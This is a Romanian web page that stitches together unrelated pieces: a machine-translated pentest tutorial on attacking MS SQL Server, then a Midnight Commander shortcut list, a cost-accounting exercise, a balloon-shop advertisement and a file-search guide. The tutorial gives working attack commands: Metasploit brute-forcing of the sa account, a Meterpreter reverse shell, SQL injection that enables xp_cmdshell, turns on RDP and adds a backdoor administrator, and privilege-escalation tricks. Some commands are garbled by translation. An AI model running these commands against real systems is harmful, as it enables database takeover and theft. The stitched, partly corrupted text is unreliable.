Metode și mijloace de piratare a bazelor de date MS SQL. Ridicarea privilegiilor. Uzurparea identității utilizatorului

18.05.2020 Știri

Aproape niciun pentest serios nu este complet fără verificarea DBMS, deoarece aceasta este una dintre cele mai populare uși către informațiile și mașina dorite printre atacatori. În proiectele mari, MS este adesea folosit ca SGBD SQL Server. Și astăzi vom vorbi despre verificarea siguranței sale. Nu vom descoperi America - tovarășii cu experiență le vor reîmprospăta doar cunoștințele, dar pentru cei care abia încep să stăpânească subiectul, am încercat să descompun totul punct cu punct cât mai detaliat.

AVERTIZARE!

Toate informațiile sunt furnizate doar în scop informativ. Nici autorul, nici editorii nu sunt responsabili pentru eventualele daune cauzate de materialele acestui articol.

Introducere

Unul dintre cele mai importante criterii de fiabilitate Sistem informatic- securitate DBMS. Atacurile care vizează aceasta sunt în cele mai multe cazuri critice, deoarece pot perturba parțial sau complet funcționarea sistemului. Deoarece organizațiile mari și-au format infrastructura cu mult timp în urmă, iar actualizarea la versiuni noi de software le provoacă probleme „mari”, cele mai comune versiuni sunt încă MS SQL Server 2005 și MS SQL Server 2008. Dar acestea sunt doar statistici și vom lua în considerare în continuare. vectori și tehnici comune tuturor versiunilor. Pentru comoditate, vom împărți condiționat întregul proces pentest în mai multe etape.

Cum să găsiți MS SQL

Primul lucru pe care un pentester începe să-l facă este să colecteze informații despre serviciile aflate pe serverul victimei. Cel mai important lucru pe care trebuie să-l știi pentru a căuta Microsoft SQL Server, - numerele de porturi pe care le ascultă. Și ascultă porturile 1433 (TCP) și 1434 (UDP). Pentru a verifica dacă MS SQL este prezent pe serverul victimei, trebuie să îl scanați. Pentru a face acest lucru, puteți utiliza Nmap cu scriptul ms-sql-info. Scanarea va începe ceva de genul:

Nmap -p 1433 --script=ms-sql-info 192.168.18.128

Ei bine, rezultatul executării sale este prezentat în Fig. 1.

Pe lângă Nmap, există un modul de scanare excelent pentru Metasploit mssql_ping, care vă permite, de asemenea, să determinați prezența MS SQL pe serverul atacat:

Msf> utilizați auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > setați RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > rulați

Folosind una dintre aceste opțiuni, puteți determina rapid dacă MS SQL este instalat pe server și, de asemenea, puteți afla versiunea acestuia. După care poți trece la următoarea etapă.


Forta bruta

Să presupunem că am găsit un SGBD pe server. Acum sarcina este să obțineți acces la el. Și aici ne confruntăm cu primul obstacol sub forma autentificării. În general, MS SQL acceptă două tipuri de autentificare:

  1. Autentificarea Windows este o conexiune de încredere în care SQL Server acceptă contul de utilizator, presupunând că acesta a fost deja verificat la sistem de operare.
  2. Mod mixt - autentificare folosind SQL Server + Autentificare Windows.

În mod implicit, se utilizează primul mod de autentificare, iar modul mixt este activat separat. În practică, este destul de dificil să găsești o bază fără un mod mixt - este mai flexibil.

Câteva avantaje ale modului mixt

  • Permite SQL Server să accepte aplicații mai vechi, precum și aplicații terțe care necesită autentificare SQL Server.
  • Permite SQL Server să accepte medii cu mai multe sisteme de operare în care utilizatorii nu sunt autentificați în domeniul Windows.
  • Permite dezvoltatorilor software distribuiți aplicațiile dvs. utilizând o ierarhie complexă de permisiuni bazată pe login-uri SQL Server cunoscute și predefinite.

De obicei, în această etapă nu avem acces la rețeaua corporativă, prin urmare nu putem folosi autentificarea prin Windows. Dar am găsit portul deschis cu MS SQL, ceea ce înseamnă că încercăm să forțăm contul de administrator sa, care este standard pentru modul mixt. Pentru a automatiza procesul, folosim modulul Metasploit mssql_login:

Msf > folosește auxiliar/scanner/mssql/mssql_login msf auxiliar(mssql_login) > setează RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliar(mssql_login) > setează PASST.16.2.104 /rot. .2. 104: 1433 - MSSQL - Pornirea scanerului de autentificare. [*] 172.16.2.104:1433 - LOGINARE EROUT: WORKSTATION\sa:admin (Incorect:) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:qwerty (Incorect:) [*] 172.16.2.104:1433. - LOGIN FAILED: WORKSTATION\sa:toor (Incorect:) [+] 172.16.2.104:1433 - LOGIN SUCCUSFUS: WORKSTATION\sa:root [*] Scanat 1 din 1 gazde (100% finalizat) [*] Execuția modulelor auxiliare finalizată

Grozav! Parola a fost găsită, acum putem trece la pasul următor. Dar dacă nu există un cont SA pe server? Apoi va trebui să brutați autentificarea, pentru care va trebui să indicați scriptului un alt fișier de unde să le obțineți:

Msf auxiliar(mssql_login) > setați USER_FILE /root/Desktop/user.txt

Primirea unei carapace

Dacă am reușit să resetam contul sa, ne putem conecta la baza de date. Apoi, scriptul este simplu - activăm o procedură stocată care ne permite să executăm comenzi la nivel de sistem de operare și să încărcăm shell-ul Meterpreter pe server. Băieții cool au scris un modul excelent pentru Metasploit, mssql_payload, care automatizează acest proces:

Msf > folosește exploit/windows/mssql/mssql_payload msf exploit(mssql_payload) > setează RHOST 172.16.2.104 msf exploit(mssql_payload) > setează USERNAME la USERNAME => sa msf exploit(mssql_payload) > setează PAROLĂ exploit (mssql_payload) > setează PAROLA rădăcină mssql_payload) > setează PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(mssql_payload) > setează LHOST 172.16.2.105 LHOST => 172.16.2.105 Comandă Stager 172.16.2.105 - 0% done Stager 10. 246 bytes ) [*] Meterpreter sesiunea 1 deschisă (172.16.2.105:4444 -> 172.16.2.104:3987) la 2015-02-20 10:42:52 -0500 meterpreter >

Sesiunea Meterpreter a fost creată, acum aveți acces complet. Puteți să eliminați hash-ul administrativ, să faceți capturi de ecran, să creați/ștergeți fișiere, să activați/dezactivați mouse-ul sau tastatura și multe altele. Aceasta este probabil cea mai populară carcasă folosită în testele de penetrare. Lista plina Comenzile Meterpreter pot fi văzute.

Ce trebuie să faceți dacă numele de autentificare/parola nu este resetat?

Dar nu te măgulește, modulul mssql_login nu te va face fericit foarte des: administratorii lasă foarte rar parola implicită. În acest caz, injecția SQL ne va ajuta să obținem un shell. Imaginați-vă un formular HTML în care utilizatorul introduce numărul articolului și o simplă interogare vulnerabilă în baza de date, toate rulând sub contul de administrator sa:

$strSQL = "SELECT * FROM . WHERE id=$id";

Variabila $id nu este filtrată în niciun fel, ceea ce înseamnă că puteți efectua o injecție SQL în care orice solicitare va fi executată sub contul admin sa. Pentru a executa comenzi la nivel de sistem de operare, trebuie să activați procedura stocată xp_cmdshell, care este dezactivată implicit. Va trebui să trimitem patru solicitări pentru a-l activa:

  1. EXEC sp_configure „show advanced options”,1;
  2. reconfigura;
  3. „exec sp_configure „xp_cmdshell”,1;
  4. reconfigura

Procedura de stocare a sistemului sp_configure vă permite să vizualizați, să documentați, să modificați și să restaurați configurația unui server. Cel mai simplu mod de a accesa serverul este activarea RDP prin intermediul registrului, crearea unui utilizator cu drepturi de administrator și conectarea.

Activați RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Creați un utilizator:

10; exec master.dbo.xp_cmdshell „net user root toor /ADD”

Oferim drepturi:

10;exec master.dbo.xp_cmdshell „administratori net localgroup root/add”

Ridicarea privilegiilor. DEMN DE INCREDERE

În cazul precedent, cererea către baza de date a avut loc în numele administratorului și, prin urmare, a fost atât de ușor să executați comenzile sistemului de operare. Dar ce se întâmplă dacă avem un cont redus care nu are drepturi de a activa xp_cmdshell? În acest caz, procedurile stocate și proprietatea TRUSTTWORTHY activată a bazei de date ne vor ajuta.

Dar să începem de la bun început. Pentru o mai mare claritate a acestui vector, voi descrie întreaga etapă la etapa de configurare a bazei de date și a conturilor. Creați o nouă bază de date YOLO: CREATE DATABASE YOLO; . Creați un nou utilizator bob cu parola marley: CREATE LOGIN bob WITH PASSWORD = "marley"; Atribuim utilizatorului bob drept proprietar al bazei de date YOLO:

USE YOLO ALTER LOGIN cu default_database = ; CREAȚI UTILIZATOR DIN LOGIN ; EXEC sp_addrolemember , ;

Apoi setăm proprietatea TRUSTWORTHY, care determină dacă se permite obiectelor din această bază de date (vizualizări, funcții definite de utilizator, proceduri stocate) să acceseze obiectele din afara acestei baze de date în modul de uzurpare a identității: ALTER DATABASE YOLO SET TRUSTWORTHY ON . Conectați-vă la SQL Server folosind contul bob:marley.

Creați o procedură stocată pentru atribuire cont privilegii bob sysadmin:

UTILIZAȚI PROCEDURA DE CREARE YOLO GO sp_lvlup CU EXECUTE CA PROPRIETAR CA EXEC sp_addsrvrolemember "bob","sysadmin" GO

Să ne asigurăm că nu avem privilegii de administrator de sistem înainte de a executa procedura stocată:

SELECT is_srvrolemember("sysadmin") rezultat = 0

Să executăm procedura stocată sp_lvlup creată mai sus:

UTILIZAȚI YOLO EXEC sp_lvlup

Și din nou să ne verificăm privilegiile:

SELECT is_srvrolemember("sysadmin") rezultat = 1

Procedura sp_lvlup este concepută pentru a fi rulată ca OWNER, care în acest caz este contul de administrator sa. Acest lucru este posibil deoarece db_owner a creat o procedură stocată pentru baza sa de date, iar această bază de date este configurată ca de încredere, adică proprietatea TRUSTWORTHY este On . Fără această proprietate, procedura ar eșua din cauza lipsei de privilegii. Activarea TRUSTTWORTHY nu este întotdeauna un lucru rău. Problemele încep atunci când administratorii nu reduc privilegiile proprietarilor de baze de date. Ca rezultat, contul bob a primit privilegii de administrator de sistem după executarea procedurii sp_lvlup. Pentru a vedea ce baze de date au proprietatea TRUSTWORTHY activată, puteți utiliza următoarea interogare:

SELECT numele, database_id, is_trustworthy_on FROM sys.databases

Sau pentru a automatiza întregul proces, puteți utiliza modulul mssql_escalate_dbowner_sqli pentru Metasploit:

Utilizați auxiliar/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:80 - Succes! Bob este acum administrator de sistem!

Ridicarea privilegiilor. Uzurparea identității utilizatorului

Următorul vector se numește Uzurpare a identității utilizatorului. Uneori, procedurile stocate au nevoie de acces la resurse externe situate în afara bazei de date a aplicației. Pentru a realiza acest lucru, dezvoltatorii folosesc privilegiul IMPERSONATE și funcția EXECUTE AS, care permite ca cererea să fie executată ca un cont diferit. Aceasta nu este o vulnerabilitate în sine, ci mai degrabă configurație slabă, ceea ce duce la escaladarea privilegiilor.

Ca și în exemplul anterior, vom începe să înțelegem esența vectorului în etapa de configurare. În primul rând, creăm patru conturi:

CREATE LOGIN User1 WITH PASSWORD = "secret"; CREATE LOGIN User2 WITH PASSWORD = "secret"; CREATE LOGIN User3 WITH PASSWORD = "secret"; CREATE LOGIN User4 WITH PASSWORD = "secret";

Apoi oferim utilizatorului User1 privilegii pentru a executa cereri în numele sa, User2, User3:

USE master; ACCORDĂ IMPERSONARE LA LOGIN::sa către ; ACORDĂ IMPERSONARE LA LOGIN::MyUser2 la ; ACORDĂ IMPERSONARE LA LOGIN::MyUser3 către ; MERGE

Conectați-vă la SQL Server sub contul User1 și verificați dacă au fost aplicate privilegiile de a executa interogări din alte conturi.

SELECTează distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = "IMPERSONATE"

Acum să verificăm privilegiile actuale:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultat = 0

Ei bine, acum trucul propriu-zis - haideți să executăm cererea în numele sa, deoarece mai sus am acordat privilegii contului User1 pentru a executa cereri în numele sa:

EXECUTE AS LOGIN = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Rezultat = 1

Totul este în ordine, acum putem executa comenzi ca sa , ceea ce înseamnă că putem activa procedura stocată xp_cmdshell:

EXEC sp_configure „afișează opțiunile avansate”,1 RECONFIGURĂ GO EXEC sp_configure „xp_cmdshell”,1 RECONFIGURĂ GO

INFO

Contul implicit de administrator de sistem poate rula interogări în numele oricăror alți utilizatori. Următoarea interogare vă va ajuta să afișați un tabel cu toți utilizatorii: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Pentru a rula o solicitare în numele altui cont, utilizați EXECUTE AS LOGIN = "AnyUser" . Pentru a reveni la contul anterior, trebuie doar să rulați interogarea REVERT.

Asta e trucul. Pentru a automatiza, ca de obicei, puteți folosi modulul Metasploit mssql_escalete_executeas_sqli:

Utilizați auxiliare/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104 - Succes! User1 este acum administrator de sistem!

Ridicarea privilegiilor. Proceduri stocate semnate cu un certificat

Pentru a descrie acest vector, vom crea o procedură stocată vulnerabilă semnată cu un certificat. Spre deosebire de exemplele anterioare, escaladarea privilegiilor nu necesită:

  • proprietate TRUSTWORTHY = On ;
  • privilegii IMPERSONATE și funcția EXECUTE AS;
  • Configurarea unei proceduri stocate cu clasa WITH EXECUTE AS pentru a o executa ca alt cont.

Să creăm un cont cu drepturi minime:

CREATE LOGIN tor WITH PASSWORD = "loki"; GO -- Setați baza de date implicită pentru autentificare ALTER LOGIN cu default_database = ; MERGE

Să dezactivăm proprietatea TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF . Și să creăm o procedură stocată simplă sp_xxx care va afișa coloana nume din baza de date tempdb, precum și din baza de date introdusă de utilizator:

UTILIZAȚI MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS BEGIN Declara @query ca varchar(max) SET @query = "SELECT name FROM master..sysdatabases unde nume ca ""%"+ @DbName+"%"" SAU name=" "tempdb"""; EXECUTE(@query) END GO

După aceasta, vom crea o cheie de criptare pentru baza de date MASTER:

CREATE MASTER KEY CRYPTION BY PAROLA = „secret”; MERGE

Si certificatul:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT = „Pentru a semna sp_xxx”, EXPIRY_DATE = „2035-01-01”; MERGE

Următorul pas este să creați o autentificare din certificatul sp_xxx:

CREATE LOGIN sp_xxx_login DIN CERTIFICAT sp_xxx_cert

Și semnați procedura cu certificatul creat:

ADAUGĂ SEMNATURĂ la sp_xxx PRIN CERTIFICAT sp_xxx_cert; MERGE

Să atribuim privilegii de conectare sp_lvlup2 sysadmin:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Oferim privilegii membrilor grupului PUBLIC pentru a efectua procedura:

GRANT EXECUTE ON sp_xxx către PUBLIC

Ca urmare, am creat un utilizator tor cu drepturi minime, o procedură stocată sp_xxx care afișează numele bazei de date introduse, am creat un certificat sp_xxx_cert și am semnat procedura stocată cu acesta și, de asemenea, am creat un login sp_xxx_login din certificat și i-am dat. privilegii de administrator de sistem. Aceasta completează partea pregătitoare. Conectați-vă cu contul dvs. tor și apelați procedura stocată:

EXEC MASTER.dbo.sp_xxx „master”

După cum era de așteptat, ne va returna numele bazei de date pe care am specificat-o - master și tempdb (vezi Fig. 3).

Orez. 3. Rezultatul solicitării EXEC MASTER.dbo.sp_xxx "master"

O interogare precum EXEC MASTER.dbo.sp_sqli2 "master""--" va returna numai master (vezi Fig. 4).

Fig.4. Rezultatul solicitării EXEC MASTER.dbo.xxx "master""--"

Grozav. Aceasta înseamnă că procedura stocată este susceptibilă de injectare SQL. Să ne verificăm privilegiile folosind următoarea interogare:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolemember(""sysadmin") ca priv_certsp--";

priv_cersp=1 (vezi Figura 5) înseamnă că avem privilegii de administrator de sistem. Executați comanda EXEC master..xp_cmdshell "whoami"; Nu va funcționa deoarece contul tor are drepturi minime, dar dacă această interogare este încorporată într-o injecție SQL, atunci totul va funcționa (Fig. 6).

Cel mai interesant este că acest truc va funcționa în versiunile 2005–2014.

Concluzie

Diferența dintre toți acești vectori este destul de semnificativă. În unele cazuri, pentru a atinge obiectivul, vă puteți limita la proprietatea TRUSTTWORTHY inclusă, care permite ca resursele acestei baze de date să fie folosite de obiecte situate în exterior pentru a crea și executa o procedură stocată care crește privilegiile. În unele cazuri, puteți executa proceduri stocate în numele altor conturi datorită privilegiilor IMPERSONATE și funcției EXECUTE AS, iar în al treilea caz, tot ceea ce este important este prezența injecției SQL prin care puteți injecta o interogare și aceasta va fi executat în numele altui cont. Pentru a înțelege pe deplin nuanțele și subtilitățile, aș sfătui să testați acești vectori pe mașina dvs. locală.

Articolul nu oferă o descriere exhaustivă a tuturor vectorilor de atacuri asupra SGBD-ului MS SQL, dar va fi foarte util pentru o analiză superficială de securitate. De asemenea, vă recomand să vă familiarizați cu un alt vector de hacking prin link-uri DB, care a fost descris de Alexey Tyurin în numărul din decembrie ][ (#191) în secțiunea Hack ușor. Atât, vă mulțumesc pentru atenție și ne revedem.

General

Ctrl+x,j — Afișează sarcinile de fundal

Ctrl-X+A - VFS curent (ftp, etc.)

ESC+cifră - la fel ca F(cifră) (ESC+5 = F5)

F1-F12

F3 - Vizualizare fișier

F3 - (În timpul editării) Porniți selecția textului. Apăsând din nou F3 se va încheia selecția

F4 - Editarea fișierelor

F5 - Copiați selecția

F6 - Mutare selecție

F8 - Șterge selecția

Shift+F1 - deschide meniul tranziție rapidăîntre punctele de montare din panoul din stânga

Shift+F2 - deschide meniul de tranziție rapidă între punctele de montare din panoul din dreapta

Shift+F5 - copiați fișierul în același director

Shift+F6 - mutați/redenumiți fișierul în același director

Căutare

ctrl-s - Cautare rapida fișier sau director

alt-shift-? — Apelează meniul de căutare avansată a fișierelor

Linie de comanda

ctrl-a — cursorul la început

ctrl-e - cursorul până la sfârșit

Esc-! — executați o comandă cu parametri

ctrl-x, p sau alt+a - lipiți numele directorului

esc, intra; ctrl-enter - trimite obiectul curent către Linie de comanda

ctrl-x,t — Lipiți toate obiectele selectate în linia de comandă

esc, tab - adăugare de comandă

alt-a - lipiți directorul curent în linia de comandă

Alt-TAB (ESC+TAB) - Cea mai tare combinație pentru căutarea fișierelor descărcate (de exemplu, ați uitat cum să le scrieți corect: netcfg sau netconfig. Doar tastați net în linia de comandă și apăsați Alt-TAB - se vor afișa imediat tu ce poți alerga, care începe cu cuvinte net) apăsați de două ori!
alt-shift-! — rezultatul comenzii
ctrl-shift-v - lipiți din clipboard

Operații cu fișiere

Shift+F4 - creează un fișier nou

shift-f6 - redenumiți fișierul

Ctrl+x,i — Vizualizați rapid informații despre obiectul curent în al doilea panou

Ctrl+x,q - Vizualizați rapid conținutul fișierului în al doilea panou

alt-. - arată fișierele ascunse

ctrl-x, c - permisiuni pentru fișiere

ctrl-x, o - proprietarul fișierului

Shift-F3 - vizualizați fișierul (raw/fără extensie)

Ctrl + x v - creează o legătură simbolică relativă

trl+x, Ctrl+s — Editați legătura simbolică

ctrl-t — marcați un fișier sau debifați-l

+ — selectați (marcați) un grup de fișiere după expresie uzuala

\ - debifați un grup de fișiere

ctrl-x, ctrl-d - compara fișiere

ctrl-t sau Inserare — Selectați obiectul curent

Lucrul cu cataloage

alt-o — deschide directorul de sub cursorul din panoul alăturat

alt-i — deschide directorul curent în panoul alăturat

ctrl-\ - arată „Directorul director”

alt-shift-h — Afișează istoricul directorului

Ctrl+l - Redesenează ecranul

Ctrl+Space - Afișează dimensiunea directorului curent

Ctrl-X+D - compara directoare

ESC+C - schimba rapid directorul

alt-c - Fereastra „Modificare rapidă a directorului”.

Lucrul cu panouri

Ctrl-O - opriți panourile și vedeți ce se află sub ele (funcționează NUMAI în Linux!) Aici puteți lucra și în shell.

alt-, — Comută modul de afișare a panoului (vertical/orizontal)

comutator alt-t modul detaliat afişajul panoului

Meta+c - Afișează meniul pentru schimbarea rapidă a directorului curent din panoul activ

ctrl-u - schimba panouri

alt-g - marchează primul fișier sau director din lista afișată pe panou (în esență ca tasta Acasă, mută cursorul în sus)

alt-e — schimba codificarea panoului

Ctrl + x i - comută panoul pasiv în modul „Informații”.

Ctrl + x q - pune panoul pasiv în modul de vizualizare rapidă

ctrl-x! — meniu → „Criteriul de panelizare” (git)

Poveste

alt+h; esc, h - istoricul liniei de comandă

alt-p, alt-n - returnează liniile de comandă anterioare (următoare)

alt-y. Treceți la directorul anterior din istoricul de navigare în director; este echivalent cu a face clic cu mouse-ul pe simbolul ‘<‘ в верхнем углу панели.

alt-u. Treceți la următorul director din istoricul de navigare în director; este echivalent cu a face clic pe simbolul „>” cu mouse-ul.

Editor

F4 (în editor) - căutați și înlocuiți

F6 (în editor) - căutați folosind expresia regulată

Shift-Del (în editor) - ștergeți un bloc (și puneți-l în clipboard)

Shift-Ins (în editor) - inserați un bloc din buffer (funcționează chiar și în altă consolă!!!) Puteți edita două sau mai multe fișiere pe diferite console și muta blocuri între ele.

Shift+F3 - Începeți să selectați un bloc de text. Apăsând din nou F3 se va încheia selecția

Shift+F5 - Lipiți text din clipboardul intern al mc (citește fișierul extern)

Meta+i - Comută modul „Aliniere automată cu întoarcerea carușului”, convenabil atunci când lipiți text formatat din clipboard

Meta+l — Accesați linia după numărul său

Meta+q - Inserați un literal (caracter care nu se imprimă). tabelul de mai jos

Meta+t — Sortați liniile textului selectat

Meta+u - Executați o comandă externă și introduceți rezultatul acesteia în poziția de sub cursor

Ctrl+f — Copiați fragmentul selectat în clipboardul intern mc (scrieți într-un fișier extern)

Ctrl+k - Ștergeți o parte a unei linii până la sfârșitul liniei

Ctrl+n - Creați un fișier nou

Ctrl+s — Activați sau dezactivați evidențierea sintaxei

Ctrl+t — Selectați codarea textului

Ctrl+u - Anulați acțiunile

Ctrl+x - Mergeți la sfârșitul următorului

Ctrl+y - Șterge linia

Ctrl+z - Mergeți la începutul cuvântului anterior

Meta+Enter — Dialog pentru trecerea la definiția funcției

Meta+- - Reveniți după ce mergeți la definiția funcției

Meta++ - Treceți la definirea funcției

Meta+n — Activați/dezactivați afișarea numerelor de linii

fila Mută ​​textul selectat la dreapta dacă opțiunea „Blocuri permanente” este dezactivată

Metafilă Mută ​​textul selectat la stânga dacă opțiunea „Blocuri permanente” este dezactivată

Shift+Săgeți Selectați text

Meta+Săgeți Selectați un bloc vertical

Meta+Shift+ - Comutarea modului de afișare al file-urilor și al spațiilor

Meta+Shift++ Comutarea modului „Aliniere automată prin întoarcerea carușului”.

Tabelul arată dependența costurilor totale ale întreprinderii de producția de produs. Calculați costuri: fix, variabil, mediu total, mediu fix, mediu variabil. În tabel, completați coloanele FC, VC, MC, ATC, AFC, AVC:

Costuri totale, TC, frec.F.C.V.C.M.C.ATCAVCA.F.C.
0 60
1 130
2 180
3 230
4 300

Soluţie:

Costuri fixe ( Costuri fixe) sunt acele costuri care nu depind de volumul produselor sau serviciilor produse. Indiferent cât de mult produce o companie, costurile sale fixe nu se modifică. Chiar dacă firma nu a produs o singură unitate de produs, aceasta suportă costuri, de exemplu, închirierea spațiilor, comisioane de încălzire, comisioane de împrumut etc.

Astfel, FC pentru orice volum de ieșire va fi egal cu 60 de ruble.

Costuri variabile ( Costuri variabile) sunt costuri care se modifică atunci când se modifică volumul produselor sau serviciilor produse. În sumă cu costurile fixe, acestea sunt egale cu valoarea costurilor totale ( Costul total):

TC = FC + VC.

De aici:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

Costul marginal ( Costuri marginale) este creșterea costurilor asociate cu producerea unei unități suplimentare de produs.

MC = ΔTC / ΔQ

Deoarece în această problemă creșterea producției este întotdeauna egală cu 1, putem rescrie această formulă după cum urmează:

MC = ΔTC / 1 = ΔTC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Costuri totale medii ( Costuri totale medii) este costul de producere a unei unități de producție.

ATC = TC/Q

ATC(1) = TC(1) / 1 = 130 / 1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230 / 3 = 76,67,

ATC(4) = TC(4) / 4 = 300 / 4 = 75.

Costuri fixe medii ( Costuri fixe medii) sunt costuri fixe pe unitatea de producție.

AFC = FC/Q

AFC(1) = FC(1) / 1 = 60 / 1 = 60,

AFC(2) = FC(2) / 2 = 60 / 2 = 30,

AFC(3) = FC(3) / 3 = 60 / 3 = 20,

AFC(4) = FC(4) / 4 = 60 / 4 =15.

Costuri variabile medii ( Costuri variabile medii) sunt costurile variabile ale producerii unei unități de producție.

AVC = VC/Q

AVC(1) = VC(1) / 1 = 70 / 1 = 70,

AVC(2) = VC(2) / 2 = 120 / 2 = 60,

AVC(3) = VC(3) / 3 = 170 / 3 = 56,67,

AVC(4) = VC(4) / 4 = 240 / 4 =60.

Cunoscând ATC și AFC, costurile medii variabile pot fi găsite și ca diferență între costurile medii totale și medii fixe:

AVC = ATC - AFC

Să completăm golurile din tabel:

Ieșire pe unitatea de timp, Q, buc.Costuri totale, TC, frec.F.C.V.C.M.C.ATCAVCA.F.C.
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Organizarea unei vacanțe este o sarcină dificilă. Sunt atât de multe lucruri la care să te gândești și de care să ai grijă. Compania MF Search simplifică una dintre sarcini - decor. Noi am adunat catalog bunuri de vacanta, care conține o varietate de decorațiuni de cameră și obiecte mici utile pentru sărbători.

Catalog de mărfuri pentru vacanță: realizarea unei liste de cumpărături

Catalogul MF Search poate fi numit o listă de cumpărături gata făcută. Are o structură convenabilă și detaliată. Puteți cumpăra de la noi:

  • Accesorii de nuntă. Panglici, confetti, lacăte, decor pentru hol și mașină și multe altele.
  • Totul pentru carnaval. In aceasta sectiune vei gasi accesoriile necesare unei petreceri costumate, carnaval de Revelion, Halloween, petrecere tematica de aniversare etc.
  • Veselă de unică folosință. Masa nu este întotdeauna amenajată cu porțelan și ceramică. De exemplu, pentru a seta o masă pentru copii sau pentru a sărbători o zi de naștere la birou, este mai convenabil să folosiți farfurii și căni de hârtie.
  • Jucării de petrecere și bule. Pentru a preveni ca copiii să se plictisească în vacanță, trebuie să vă îngrijiți din timp de timpul lor liber. Ce scor! Am adunat toate accesoriile necesare, tot ce trebuie să faci este să-i găsești o utilizare.
  • Petarde și scânteie. Ele vor face vacanța luminoasă și de neuitat.
  • Lumanari. Decorați un tort, petreceți o seară romantică, faceți o surpriză - există un set de lumânări pentru fiecare ocazie.

Baloane de la „MF Poisk”

MF Poisk este cel mai mare furnizor de baloane. Cooperăm cu producători din SUA, Spania și Mexic. Oferim certificate de calitate și oferim cea mai completă gamă de baloane, astfel încât să vă puteți crea propria compoziție unică pentru fiecare eveniment. Toate baloaneîn catalogul nostru pot fi împărțite în latex și folie.

  • Latex. Ele pot fi selectate în funcție de culoare, dimensiune, formă, temă. Vindem baloane cu și fără model și oferim, de asemenea, un serviciu de aplicare a logo-ului. Pe lângă opțiunile clasice, oferim și altele neobișnuite - bile de pumn, bile de legătură, bile figurate și pentru modelare.
  • Folie. Există, de asemenea, o mulțime din care să alegeți: mers pe jos, mare, mini și sub formă de numere. Pentru ușurință în selecție, am sortat produsele după subiect; puteți accesa cu ușurință secțiunea cu produse pentru nunți, zile de naștere, Anul Nou și alte evenimente speciale.

Separat, am așezat accesorii pentru mingi, de exemplu, bețe sau greutăți. Designerii vor fi interesați de secțiunea cu echipamente - cilindri de heliu, pompe, cerneală de imprimare.

De ce ar trebui să alegeți MF Search?

  • Cel mai mare catalog de mingi.
  • Certificatele de calitate sunt disponibile publicului.
  • Suma minimă de comandă este disponibilă fiecărui cumpărător, indiferent de mărimea evenimentului.
  • Toate materialele de vacanță într-un singur loc.
  • Reduceri pentru marile angro.

Încercăm să vă facem șederea pe site confortabilă, așa că am creat secțiuni separate cu produse noi, cele mai vândute, precum și anunțuri „În curând”. Cu noi vei vedea ca organizarea unei petreceri este usoara!

Când utilizați gata făcute produse software, De exemplu CMS Joomla, destul de des trebuie să te confrunți cu faptul că în rezultatele programului apare un fel de mesaj de eroare sau de avertizare, dar nu informatii detaliate, unde se află această bucată de cod. În aceste cazuri, cel mai simplu mod este să căutați fișierul în Comandantul de la miezul nopții pe linie. Să ne uităm la cum să facem asta.

De obicei, știți locația aproximativă a fișierului cu fragmentul de cod necesar. Prin urmare, în primul rând, să mergem la directorul în care se poate găsi acest fișier.

ÎN meniul contextualîn câmp" Incepe la:» ( Din catalog ) să lăsăm punctul: suntem deja în directorul așteptat care conține fișierul pe care îl căutăm. Dar selectând opțiunea " T ree" ( D copac), puteți selecta un alt director pentru a căuta.

Câmp de context „Ena” b ignora directoarele" ( ȘI ignora directoarele) poate fi lăsat necompletat dacă nu doriți să excludeți niciun director cunoscut din căutare pentru a restrânge zona de căutare.

In camp " Nume de fișier» ( Șablon de nume ) trebuie să introduceți un nume de fișier sau un șablon pentru numele acestuia. Șablonul folosește ? pentru orice personaj sau * pentru orice număr de caractere. Dacă nu știm nimic despre numele sau extensia fișierului, nu ezitați să intrați *.* .

Selectați opțional:

  • « F ind recursiv" ( Găsiți re La ursiv)
  • « U cânta modele de scoici" ( M personaje etashell)
  • „Cas e sensibil" ( U chiar să înregistreze)
  • « A toate seturile de caractere" ( ÎN Toate codificările)
  • „S k ip ascuns" ( Sari peste skt s esti e)

In camp " Conţinut» ( Conţinut ) introduceți linia pe care Midnight Commander va trebui să o găsească în toate fișierele pe care le întâlnește.

Selectați opțional:

  • "Mare r ch pentru conținut" ( Căutați după conținut și Cred) ← ACEASTĂ OPȚIUNE ESTE NECESARĂ PENTRU O CĂUTARE ȘIR
  • "Re g expresie universală” ( R expresie uzuala)
  • „Sențul cazului i tive" ( Contabilizarea re G istra)
